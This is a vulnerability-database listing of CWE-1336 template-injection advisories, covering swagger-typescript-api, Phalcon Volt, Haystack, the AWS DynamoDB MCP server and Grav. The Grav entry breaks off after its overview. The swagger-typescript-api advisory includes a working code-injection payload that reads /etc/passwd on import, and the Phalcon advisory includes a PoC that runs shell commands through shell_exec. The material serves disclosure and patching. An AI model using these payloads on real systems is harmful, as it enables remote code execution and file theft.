Common Weakness Enumeration

CWE-1336

Allowed

Improper Neutralization of Special Elements Used in a Template Engine

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The product uses a template engine to insert or process externally-influenced input, but it does not neutralize or incorrectly neutralizes special elements or syntax that can be interpreted as template expressions or other code directives when processed by the engine.

462 vulnerabilities reference this CWE, most recent first.

GHSA-HH4R-PCM9-JH93

Vulnerability from github – Published: 2026-09-04 18:31 – Updated: 2026-09-04 18:31
VLAI
Details

Improper neutralization of special elements used in a template engine in the CDK generator in Amazon awslabs.dynamodb-mcp-server before 2.1.6 might allow a context-dependent actor to execute arbitrary code on the host that deploys the generated application via crafted table, index, or attribute names in a data model file.

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
7.1 (High)
CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-85654"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-04T18:18:05Z",
    "severity": "HIGH"
  },
  "details": "Improper neutralization of special elements used in a template engine in the CDK generator in Amazon awslabs.dynamodb-mcp-server before 2.1.6 might allow a context-dependent actor to execute arbitrary code on the host that deploys the generated application via crafted table, index, or attribute names in a data model file.",
  "id": "GHSA-hh4r-pcm9-jh93",
  "modified": "2026-09-04T18:31:34Z",
  "published": "2026-09-04T18:31:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-85654"
    },
    {
      "type": "WEB",
      "url": "https://aws.amazon.com/security/security-bulletins/2026-097-aws"
    },
    {
      "type": "WEB",
      "url": "https://pypi.org/project/awslabs.dynamodb-mcp-server/2.1.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-HQJ5-CW9F-RX67

Vulnerability from github – Published: 2026-07-29 14:26 – Updated: 2026-07-29 14:26
VLAI
Summary
swagger-typescript-api vulnerable to code injection via unescaped `servers[0].url` in fetch http-client template
Details

Summary

swagger-typescript-api interpolates servers[0].url directly into a TypeScript class-body field initializer of the generated fetch HttpClient (templates/base/http-clients/fetch-http-client.ejs:75), without any escaping. A malicious URL containing a " closes the string literal that initializes public baseUrl and exposes the surrounding class body to injection. The most direct exploit declares a new static field whose initializer is an async IIFE — TypeScript evaluates static field initializers at class definition time, which is at module load. A consumer who imports the generated client (or anything that transitively imports it) executes the injected code with no further interaction — no instantiation, no method call, no use of the baseUrl. The attacker controls the OpenAPI spec; the victim is whoever runs the generator and imports the result.

This is the highest-impact sink in the package: the trigger requires only a bare import of the generated module.

Details

createApiConfig in src/code-gen-process.ts:591 sets the templated baseUrl from the spec without sanitization:

return {
  ...
  baseUrl: serverUrl,     // <-- serverUrl = swaggerSchema.servers[0].url, raw
  ...
};

The fetch http-client template (templates/base/http-clients/fetch-http-client.ejs:75) then interpolates that value into a TS string literal that initializes a public class-body field of the generated HttpClient:

export class HttpClient<SecurityDataType = unknown> {
    public baseUrl: string = "<%~ apiConfig.baseUrl %>";
    private securityData: SecurityDataType | null = null;
    ...
}

<%~ %> is Eta's raw, unescaped interpolation. The codebase's only escape function — escapeJSDocContent (src/schema-parser/schema-formatters.ts:127) — only replaces */ and is not applied to this path.

TypeScript class-body grammar permits any number of field declarations and static blocks between { and }. A spec value of the form:

URL"; static _pwn = (IIFE)(); public x: string = "

produces the following class body:

export class HttpClient<SecurityDataType = unknown> {
  public baseUrl: string = "URL";
  static _pwn = (IIFE)();    // <-- static field initializer
  public x: string = "";
  private securityData: SecurityDataType | null = null;
  ...
}

The static _pwn = (IIFE)() declaration's initializer is evaluated at class definition — i.e. when the TS class declaration is processed, which is at the moment the generated module is imported. The trailing public x: string = " reopens a string that the template's own closing " terminates, keeping the file syntactically valid TypeScript.

The same Api class (in default/api.ejs) extends HttpClient. Importing the generated module evaluates the HttpClient class declaration during module initialization — no new HttpClient(), no new Api(), no method call. Importing anything that transitively depends on the generated module is sufficient.

PoC

Self-contained reproducer (run.sh runs end-to-end: install pinned package → generate from control + payload → bundle with esbuild → bare-import → check canary). Tested on swagger-typescript-api@13.12.1 and Node v24.11.1.

Malicious servers[0].url (literal string, JSON-encoded in the spec below):

https://api.example.com"; static _pwn = (async () => { try { const fs = await import('node:fs'); const data = fs.readFileSync('/etc/passwd', 'utf8'); fs.writeFileSync('/tmp/sta_canary', data); } catch (e) {} })(); public x: string = "

Minimal payload spec:

{
  "openapi": "3.0.0",
  "info": { "title": "FetchPayloadAPI", "version": "1.0.0" },
  "servers": [
    {
      "url": "https://api.example.com\"; static _pwn = (async () => { try { const fs = await import('node:fs'); const data = fs.readFileSync('/etc/passwd', 'utf8'); fs.writeFileSync('/tmp/sta_canary', data); } catch (e) {} })(); public x: string = \""
    }
  ],
  "paths": {
    "/ping": {
      "get": {
        "operationId": "ping",
        "responses": { "200": { "description": "OK" } }
      }
    }
  }
}

Steps:

npm install swagger-typescript-api@13.12.1 esbuild
node -e "import('swagger-typescript-api').then(m => m.generateApi({
  name: 'Api.ts', output: process.cwd() + '/out',
  input: process.cwd() + '/payload-spec.json', httpClientType: 'fetch'
}))"
npx esbuild out/Api.ts --bundle --format=esm --platform=node \
  --tsconfig-raw='{}' --outfile=out/Api.bundle.mjs
rm -f /tmp/sta_canary
node --input-type=module -e "await import('./out/Api.bundle.mjs'); await new Promise(r => setTimeout(r, 300));"
ls -la /tmp/sta_canary && cat /tmp/sta_canary

Generated out/Api.ts (HttpClient class body — payload, Biome-formatted):

export class HttpClient<SecurityDataType = unknown> {
  public baseUrl: string = "https://api.example.com";
  static _pwn = (async () => {
    try {
      const fs = await import("node:fs");
      const data = fs.readFileSync("/etc/passwd", "utf8");
      fs.writeFileSync("/tmp/sta_canary", data);
    } catch (e) {}
  })();
  public x: string = "";
  private securityData: SecurityDataType | null = null;
  ...
}

static _pwn = (async () => { ... })() is a real TypeScript static class field declaration — Biome only reformats syntactically valid TS, so the multi-line indented output proves it parsed. The IIFE evaluates when the class declaration is processed, schedules fs.readFileSync('/etc/passwd'), and writes the exfiltrated contents to /tmp/sta_canary.

Result: after a bare await import('./out/Api.bundle.mjs') (no instantiation, no method call), /tmp/sta_canary contains the full /etc/passwd of the importing process (1470 bytes on a typical Linux host). Control spec (servers[0].url: "https://api.example.com") generates a clean public baseUrl: string = "https://api.example.com"; and writes no canary.

Impact

Type: Code injection in generated output (CWE-94) / template-engine injection (CWE-1336).

Affected use cases: any developer or pipeline that runs swagger-typescript-api against an OpenAPI spec they did not author entirely:

  • sta generate --url https://attacker.example/openapi.json — a public, third-party, or attacker-hosted spec.
  • A CI/CD pipeline regenerating fetch-based clients from a vendor / partner spec on each build.
  • A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs.
  • Any project pinned to a spec file that a contributor can modify via PR.

Lifecycle: the injected static initializer fires at module load — the moment the generated module is imported. A consumer does not need to instantiate HttpClient, does not need to construct Api, does not need to call any API method, does not need to read the baseUrl. Importing the generated module (or anything that transitively imports it) is sufficient. This is the absolute minimum interaction a consumer can have with a generated client.

Privilege: the IIFE runs with the full privileges of the importing process — read any file the importer can read, write any file, exfiltrate secrets, spawn child processes, make network requests, etc.

Suggested fix: sanitize apiConfig.baseUrl once at the source in src/code-gen-process.ts:591:

// in createApiConfig
baseUrl: escapeJsStringLiteral(serverUrl),

where escapeJsStringLiteral produces a properly-escaped JS string literal — at minimum escaping ", \, \n, \r, \t, \b, \f, \v, \0, and the line/paragraph separators / . JSON.stringify(serverUrl).slice(1, -1) is a one-line acceptable implementation. This single change also closes the axios sibling sink at templates/base/http-clients/axios-http-client.ejs:71 (filed separately), since both templates read the same apiConfig.baseUrl value.

If a template-side fix is preferred instead, both templates/base/http-clients/fetch-http-client.ejs:75 and templates/base/http-clients/axios-http-client.ejs:71 need their <%~ apiConfig.baseUrl %> swapped for the escaped form — fixing only one leaves the other exploitable.

Submitted by: Hamza Haroon (thegr1ffyn)

Severity
8.3 (High)
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 13.12.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "swagger-typescript-api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "13.12.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54662"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-74",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-29T14:26:38Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`swagger-typescript-api` interpolates `servers[0].url` directly into a TypeScript class-body field initializer of the generated **fetch** `HttpClient` (`templates/base/http-clients/fetch-http-client.ejs:75`), without any escaping. A malicious URL containing a `\"` closes the string literal that initializes `public baseUrl` and exposes the surrounding *class body* to injection. The most direct exploit declares a new `static` field whose initializer is an async IIFE \u2014 TypeScript evaluates static field initializers at **class definition time**, which is at module load. A consumer who imports the generated client (or anything that transitively imports it) executes the injected code with no further interaction \u2014 no instantiation, no method call, no use of the baseUrl. The attacker controls the OpenAPI spec; the victim is whoever runs the generator and imports the result.\n\nThis is the highest-impact sink in the package: the trigger requires only a bare `import` of the generated module.\n\n### Details\n\n`createApiConfig` in `src/code-gen-process.ts:591` sets the templated `baseUrl` from the spec without sanitization:\n\n```ts\nreturn {\n  ...\n  baseUrl: serverUrl,     // \u003c-- serverUrl = swaggerSchema.servers[0].url, raw\n  ...\n};\n```\n\nThe fetch http-client template (`templates/base/http-clients/fetch-http-client.ejs:75`) then interpolates that value into a TS string literal that initializes a public class-body field of the generated `HttpClient`:\n\n```ejs\nexport class HttpClient\u003cSecurityDataType = unknown\u003e {\n    public baseUrl: string = \"\u003c%~ apiConfig.baseUrl %\u003e\";\n    private securityData: SecurityDataType | null = null;\n    ...\n}\n```\n\n`\u003c%~ %\u003e` is Eta\u0027s raw, unescaped interpolation. The codebase\u0027s only escape function \u2014 `escapeJSDocContent` (`src/schema-parser/schema-formatters.ts:127`) \u2014 only replaces `*/` and is not applied to this path.\n\nTypeScript class-body grammar permits any number of field declarations and `static` blocks between `{` and `}`. A spec value of the form:\n\n```\nURL\"; static _pwn = (IIFE)(); public x: string = \"\n```\n\nproduces the following class body:\n\n```ts\nexport class HttpClient\u003cSecurityDataType = unknown\u003e {\n  public baseUrl: string = \"URL\";\n  static _pwn = (IIFE)();    // \u003c-- static field initializer\n  public x: string = \"\";\n  private securityData: SecurityDataType | null = null;\n  ...\n}\n```\n\nThe `static _pwn = (IIFE)()` declaration\u0027s initializer is evaluated at **class definition** \u2014 i.e. when the TS class declaration is processed, which is at the moment the generated module is imported. The trailing `public x: string = \"` reopens a string that the template\u0027s own closing `\"` terminates, keeping the file syntactically valid TypeScript.\n\nThe same `Api` class (in `default/api.ejs`) extends `HttpClient`. Importing the generated module evaluates the `HttpClient` class declaration during module initialization \u2014 no `new HttpClient()`, no `new Api()`, no method call. Importing anything that transitively depends on the generated module is sufficient.\n\n### PoC\n\nSelf-contained reproducer (`run.sh` runs end-to-end: install pinned package \u2192 generate from control + payload \u2192 bundle with esbuild \u2192 bare-import \u2192 check canary). Tested on `swagger-typescript-api@13.12.1` and Node `v24.11.1`.\n\n**Malicious `servers[0].url`** (literal string, JSON-encoded in the spec below):\n\n```\nhttps://api.example.com\"; static _pwn = (async () =\u003e { try { const fs = await import(\u0027node:fs\u0027); const data = fs.readFileSync(\u0027/etc/passwd\u0027, \u0027utf8\u0027); fs.writeFileSync(\u0027/tmp/sta_canary\u0027, data); } catch (e) {} })(); public x: string = \"\n```\n\n**Minimal payload spec:**\n\n```json\n{\n  \"openapi\": \"3.0.0\",\n  \"info\": { \"title\": \"FetchPayloadAPI\", \"version\": \"1.0.0\" },\n  \"servers\": [\n    {\n      \"url\": \"https://api.example.com\\\"; static _pwn = (async () =\u003e { try { const fs = await import(\u0027node:fs\u0027); const data = fs.readFileSync(\u0027/etc/passwd\u0027, \u0027utf8\u0027); fs.writeFileSync(\u0027/tmp/sta_canary\u0027, data); } catch (e) {} })(); public x: string = \\\"\"\n    }\n  ],\n  \"paths\": {\n    \"/ping\": {\n      \"get\": {\n        \"operationId\": \"ping\",\n        \"responses\": { \"200\": { \"description\": \"OK\" } }\n      }\n    }\n  }\n}\n```\n\n**Steps:**\n\n```bash\nnpm install swagger-typescript-api@13.12.1 esbuild\nnode -e \"import(\u0027swagger-typescript-api\u0027).then(m =\u003e m.generateApi({\n  name: \u0027Api.ts\u0027, output: process.cwd() + \u0027/out\u0027,\n  input: process.cwd() + \u0027/payload-spec.json\u0027, httpClientType: \u0027fetch\u0027\n}))\"\nnpx esbuild out/Api.ts --bundle --format=esm --platform=node \\\n  --tsconfig-raw=\u0027{}\u0027 --outfile=out/Api.bundle.mjs\nrm -f /tmp/sta_canary\nnode --input-type=module -e \"await import(\u0027./out/Api.bundle.mjs\u0027); await new Promise(r =\u003e setTimeout(r, 300));\"\nls -la /tmp/sta_canary \u0026\u0026 cat /tmp/sta_canary\n```\n\n**Generated `out/Api.ts` (HttpClient class body \u2014 payload, Biome-formatted):**\n\n```ts\nexport class HttpClient\u003cSecurityDataType = unknown\u003e {\n  public baseUrl: string = \"https://api.example.com\";\n  static _pwn = (async () =\u003e {\n    try {\n      const fs = await import(\"node:fs\");\n      const data = fs.readFileSync(\"/etc/passwd\", \"utf8\");\n      fs.writeFileSync(\"/tmp/sta_canary\", data);\n    } catch (e) {}\n  })();\n  public x: string = \"\";\n  private securityData: SecurityDataType | null = null;\n  ...\n}\n```\n\n`static _pwn = (async () =\u003e { ... })()` is a real TypeScript static class field declaration \u2014 Biome only reformats syntactically valid TS, so the multi-line indented output proves it parsed. The IIFE evaluates when the class declaration is processed, schedules `fs.readFileSync(\u0027/etc/passwd\u0027)`, and writes the exfiltrated contents to `/tmp/sta_canary`.\n\n**Result:** after a bare `await import(\u0027./out/Api.bundle.mjs\u0027)` (no instantiation, no method call), `/tmp/sta_canary` contains the full `/etc/passwd` of the importing process (1470 bytes on a typical Linux host). Control spec (`servers[0].url: \"https://api.example.com\"`) generates a clean `public baseUrl: string = \"https://api.example.com\";` and writes no canary.\n\n### Impact\n\n**Type:** Code injection in generated output (CWE-94) / template-engine injection (CWE-1336).\n\n**Affected use cases:** any developer or pipeline that runs `swagger-typescript-api` against an OpenAPI spec they did not author entirely:\n\n- `sta generate --url https://attacker.example/openapi.json` \u2014 a public, third-party, or attacker-hosted spec.\n- A CI/CD pipeline regenerating fetch-based clients from a vendor / partner spec on each build.\n- A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs.\n- Any project pinned to a spec file that a contributor can modify via PR.\n\n**Lifecycle:** the injected `static` initializer fires at **module load** \u2014 the moment the generated module is `import`ed. A consumer does not need to instantiate `HttpClient`, does not need to construct `Api`, does not need to call any API method, does not need to read the baseUrl. Importing the generated module (or anything that transitively imports it) is sufficient. This is the absolute minimum interaction a consumer can have with a generated client.\n\n**Privilege:** the IIFE runs with the full privileges of the importing process \u2014 read any file the importer can read, write any file, exfiltrate secrets, spawn child processes, make network requests, etc.\n\n**Suggested fix:** sanitize `apiConfig.baseUrl` once at the source in `src/code-gen-process.ts:591`:\n\n```ts\n// in createApiConfig\nbaseUrl: escapeJsStringLiteral(serverUrl),\n```\n\nwhere `escapeJsStringLiteral` produces a properly-escaped JS string literal \u2014 at minimum escaping `\"`, `\\`, `\\n`, `\\r`, `\\t`, `\\b`, `\\f`, `\\v`, `\\0`, and the line/paragraph separators ` ` / ` `. `JSON.stringify(serverUrl).slice(1, -1)` is a one-line acceptable implementation. **This single change also closes the axios sibling sink** at `templates/base/http-clients/axios-http-client.ejs:71` (filed separately), since both templates read the same `apiConfig.baseUrl` value.\n\nIf a template-side fix is preferred instead, both `templates/base/http-clients/fetch-http-client.ejs:75` and `templates/base/http-clients/axios-http-client.ejs:71` need their `\u003c%~ apiConfig.baseUrl %\u003e` swapped for the escaped form \u2014 fixing only one leaves the other exploitable.\n\nSubmitted by: Hamza Haroon (thegr1ffyn)",
  "id": "GHSA-hqj5-cw9f-rx67",
  "modified": "2026-07-29T14:26:38Z",
  "published": "2026-07-29T14:26:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/acacode/swagger-typescript-api/security/advisories/GHSA-hqj5-cw9f-rx67"
    },
    {
      "type": "WEB",
      "url": "https://github.com/acacode/swagger-typescript-api/pull/1779"
    },
    {
      "type": "WEB",
      "url": "https://github.com/acacode/swagger-typescript-api/commit/306d59acb8ffbb00f953f807b97234b21f51d9de"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/acacode/swagger-typescript-api"
    },
    {
      "type": "WEB",
      "url": "https://github.com/acacode/swagger-typescript-api/releases/tag/v13.12.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "swagger-typescript-api vulnerable to code injection via unescaped `servers[0].url` in fetch http-client template"
}

GHSA-HRWP-4HH9-C8R8

Vulnerability from github – Published: 2026-08-21 20:55 – Updated: 2026-08-27 16:33
VLAI
Summary
Phalcon Volt compiler `join` filter compile-time PHP code injection (SSTI leads to RCE)
Details

Summary

The Volt template compiler in Phalcon generates the PHP for the join filter by string-concatenating the filter's raw template-literal argument bytes with no escaping. The separator literal is dropped verbatim between two single quotes the compiler emits, and the piped array argument is emitted completely bare. A Volt template whose join arguments are attacker-influenced can therefore break out of the generated join('…') call and inject arbitrary PHP into the compiled template. Volt writes that compiled template to a cache file and require()s it at render time, so the injected PHP executes i.e. compile-time PHP code injection (server-side template injection -> remote code execution) for any application that compiles attacker-controlled Volt source.

Details

Root cause

phalcon/Mvc/View/Engine/Volt/Compiler.zep:2544-2546:

case "join":
    return "join('" . funcArguments[1]["expr"]["value"]
        . "', " . funcArguments[0]["expr"]["value"] . ")";

funcArguments[1]["expr"]["value"] (the separator) and funcArguments[0]["expr"]["value"] (the piped array) are the raw values of the parsed template tokens. Unlike every other expression in the compiler, they are not routed through expression() and receive no escaping: the separator value is spliced verbatim inside the join(' … ' quotes with no neutralisation of ', and the array value is emitted with no quoting at all. Volt's scanner stores string-literal bytes verbatim (escape sequences are not decoded), so attacker bytes survive intact into the generated PHP.

Generated-C ground truth -> build/phalcon/phalcon.zep.c (Phalcon 5.15.0):

ZEPHIR_CONCAT_SVSVS(return_value, "join('", &_19$$24, "', ", &_22$$24, ")");

i.e. literally "join('" + separator + "', " + array + ")" with both attacker-controlled fragments unescaped.

The compiled output is then written to a cache file and required by Phalcon\Mvc\View\Engine\Volt::render(), so any PHP spliced in by the attacker runs at render time.

PoC

<?php
use Phalcon\Mvc\View\Engine\Volt\Compiler;

$cmd = 'id; uname -a; hostname';

$b64 = base64_encode($cmd);
$tpl = "{{ ['x'] | join(\"',[]); echo shell_exec(base64_decode('$b64')); //\") }}";

$compiled = (new Compiler())->compileString($tpl);

$f = tempnam(sys_get_temp_dir(), 'volt') . '.php';
file_put_contents($f, $compiled);
include $f;
unlink($f);

image

Impact

Where an application compiles Volt source that is wholly or partly attacker-controlled, this yields remote code execution in the web-server process.

Severity
9.2 (Critical)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.15.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phalcon/cphalcon"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.16.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59989"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-21T20:55:56Z",
    "nvd_published_at": "2026-08-21T21:17:00Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nThe Volt template compiler in Phalcon generates the PHP for the `join` filter by string-concatenating the filter\u0027s **raw template-literal argument bytes** with no escaping. The separator literal is dropped verbatim between two single quotes the compiler emits, and the piped array argument is emitted completely bare. A Volt template whose `join` arguments are attacker-influenced can therefore break out of the generated `join(\u0027\u2026\u0027)` call and inject arbitrary PHP into the compiled template. Volt writes that compiled template to a cache file and `require()`s it at render time, so the injected PHP executes i.e. compile-time PHP code injection (server-side template injection -\u003e remote code execution) for any application that compiles attacker-controlled Volt source.\n\n## Details \n\n### Root cause\n\n`phalcon/Mvc/View/Engine/Volt/Compiler.zep:2544-2546`:\n\n```zephir\ncase \"join\":\n    return \"join(\u0027\" . funcArguments[1][\"expr\"][\"value\"]\n        . \"\u0027, \" . funcArguments[0][\"expr\"][\"value\"] . \")\";\n```\n\n`funcArguments[1][\"expr\"][\"value\"]` (the separator) and `funcArguments[0][\"expr\"][\"value\"]` (the piped array) are the **raw values** of the parsed template tokens. Unlike every other expression in the compiler, they are **not** routed through `expression()` and receive no escaping: the separator value is spliced verbatim inside the `join(\u0027` \u2026 `\u0027` quotes with no neutralisation of `\u0027`, and the array value is emitted with no quoting at all. Volt\u0027s scanner stores string-literal bytes verbatim (escape sequences are not decoded), so attacker bytes survive intact into the generated PHP.\n\n**Generated-C ground truth** -\u003e `build/phalcon/phalcon.zep.c` (Phalcon 5.15.0):\n\n```c\nZEPHIR_CONCAT_SVSVS(return_value, \"join(\u0027\", \u0026_19$$24, \"\u0027, \", \u0026_22$$24, \")\");\n```\n\ni.e. literally `\"join(\u0027\" + separator + \"\u0027, \" + array + \")\"` with both attacker-controlled fragments unescaped.\n\nThe compiled output is then written to a cache file and `require`d by `Phalcon\\Mvc\\View\\Engine\\Volt::render()`, so any PHP spliced in by the attacker runs at render time.\n\n## PoC \n\n```php\n\u003c?php\nuse Phalcon\\Mvc\\View\\Engine\\Volt\\Compiler;\n\n$cmd = \u0027id; uname -a; hostname\u0027;\n\n$b64 = base64_encode($cmd);\n$tpl = \"{{ [\u0027x\u0027] | join(\\\"\u0027,[]); echo shell_exec(base64_decode(\u0027$b64\u0027)); //\\\") }}\";\n\n$compiled = (new Compiler())-\u003ecompileString($tpl);\n\n$f = tempnam(sys_get_temp_dir(), \u0027volt\u0027) . \u0027.php\u0027;\nfile_put_contents($f, $compiled);\ninclude $f;\nunlink($f);\n\n```\n\n\u003cimg width=\"1226\" height=\"386\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4d5da3f4-0bc9-41d9-b741-13c9ea9b08fe\" /\u003e\n\n\n\n\n\n## Impact\n\nWhere an application compiles Volt source that is wholly or partly attacker-controlled, this yields **remote code execution** in the web-server process.",
  "id": "GHSA-hrwp-4hh9-c8r8",
  "modified": "2026-08-27T16:33:43Z",
  "published": "2026-08-21T20:55:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/phalcon/cphalcon/security/advisories/GHSA-hrwp-4hh9-c8r8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59989"
    },
    {
      "type": "WEB",
      "url": "https://github.com/phalcon/cphalcon/pull/17217"
    },
    {
      "type": "WEB",
      "url": "https://github.com/phalcon/cphalcon/commit/e434061be3b7161930476c1368c868badc71e1bd"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/phalcon/cphalcon"
    },
    {
      "type": "WEB",
      "url": "https://github.com/phalcon/cphalcon/releases/tag/v5.16.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Phalcon Volt compiler `join` filter compile-time PHP code injection (SSTI leads to RCE)"
}

GHSA-HX9V-6R9F-W677

Vulnerability from github – Published: 2024-07-31 18:50 – Updated: 2024-07-31 18:50
VLAI
Summary
Insecure Jinja2 templates rendered in Haystack Components can lead to RCE
Details

Impact

Haystack clients that let their users create and run Pipelines from scratch are vulnerable to remote code executions.

Certain Components in Haystack use Jinja2 templates, if anyone can create and render that template on the client machine they run any code.

Patches

The problem has been fixed with PRs deepset-ai/haystack#8095 and deepset-ai/haystack#8096.

Both have been released with Haystack 2.3.1.

Workarounds

Prevent users from running the affected Components, or only let users use preselected templates.

References

The list of impacted Components can be found in the release notes for 2.3.1. https://github.com/deepset-ai/haystack/releases/tag/v2.3.1

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
7.7 (High)
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "haystack-ai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.3.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-41950"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-07-31T18:50:41Z",
    "nvd_published_at": "2024-07-31T16:15:04Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nHaystack clients that let their users create and run Pipelines from scratch are vulnerable to remote code executions.\n\nCertain Components in Haystack use Jinja2 templates, if anyone can create and render that template on the client machine they run any code.\n\n### Patches\n\nThe problem has been fixed with PRs deepset-ai/haystack#8095 and deepset-ai/haystack#8096.\n\nBoth have been released with Haystack `2.3.1`.\n\n### Workarounds\n\nPrevent users from running the affected Components, or only let users use preselected templates.\n\n### References\n\nThe list of impacted Components can be found in the release notes for `2.3.1`.\nhttps://github.com/deepset-ai/haystack/releases/tag/v2.3.1",
  "id": "GHSA-hx9v-6r9f-w677",
  "modified": "2024-07-31T18:50:41Z",
  "published": "2024-07-31T18:50:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/deepset-ai/haystack/security/advisories/GHSA-hx9v-6r9f-w677"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-41950"
    },
    {
      "type": "WEB",
      "url": "https://github.com/deepset-ai/haystack/pull/8095"
    },
    {
      "type": "WEB",
      "url": "https://github.com/deepset-ai/haystack/pull/8096"
    },
    {
      "type": "WEB",
      "url": "https://github.com/deepset-ai/haystack/commit/3fed1366c448b02189851bf08166c1f6477a02b0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/deepset-ai/haystack/commit/6c25a5c73e83aa32c3241ba84a5cbb3ac0e8a89e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/deepset-ai/haystack"
    },
    {
      "type": "WEB",
      "url": "https://github.com/deepset-ai/haystack/releases/tag/v2.3.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Insecure Jinja2 templates rendered in Haystack Components can lead to RCE"
}

GHSA-J3V8-V77F-FVGM

Vulnerability from github – Published: 2023-06-16 19:36 – Updated: 2023-06-16 19:36
VLAI
Summary
Grav Server-side Template Injection (SSTI) via Denylist Bypass Vulnerability
Details

Hi,

actually we have sent the bug report to security@getgrav.org on 27th March 2023 and on 10th April 2023.

Grav Server-side Template Injection (SSTI) via Denylist Bypass Vulnerability

Summary:

Product Grav CMS
Vendor Grav
Severity High - Users with login access to Grav Admin panel and page creation/update permissions are able to obtain remote code/command execution
Affected Versions <= v1.7.40 (Commit 685d762) (Latest version as of writing)
Tested Versions v1.7.40
Internal Identifier STAR-2023-0006
CVE Identifier Reserved CVE-2023-30592, CVE-2023-30593, CVE-2023-30594
CWE(s) CWE-184: Incomplete List of Disallowed Inputs, CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine

CVSS3.1 Scoring System:

Base Score: 7.2 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
| Metric | Value | | ---------------------------- | --------- | | Attack Vector (AV) | Network | | Attack Complexity (AC) | Low | | Privileges Required (PR) | High | | User Interaction (UI) | None | | Scope (S) | Unchanged | | Confidentiality (C) | High | | Integrity (I) | High | | Availability (A) | High |

Product Overview:

Grav is a PHP-based flat-file content management system (CMS) designed to provide a fast and simple way to build websites. It supports rendering of web pages written in Markdown and Twig expressions, and provides an administration panel to manage the entire website via an optional Admin plugin.

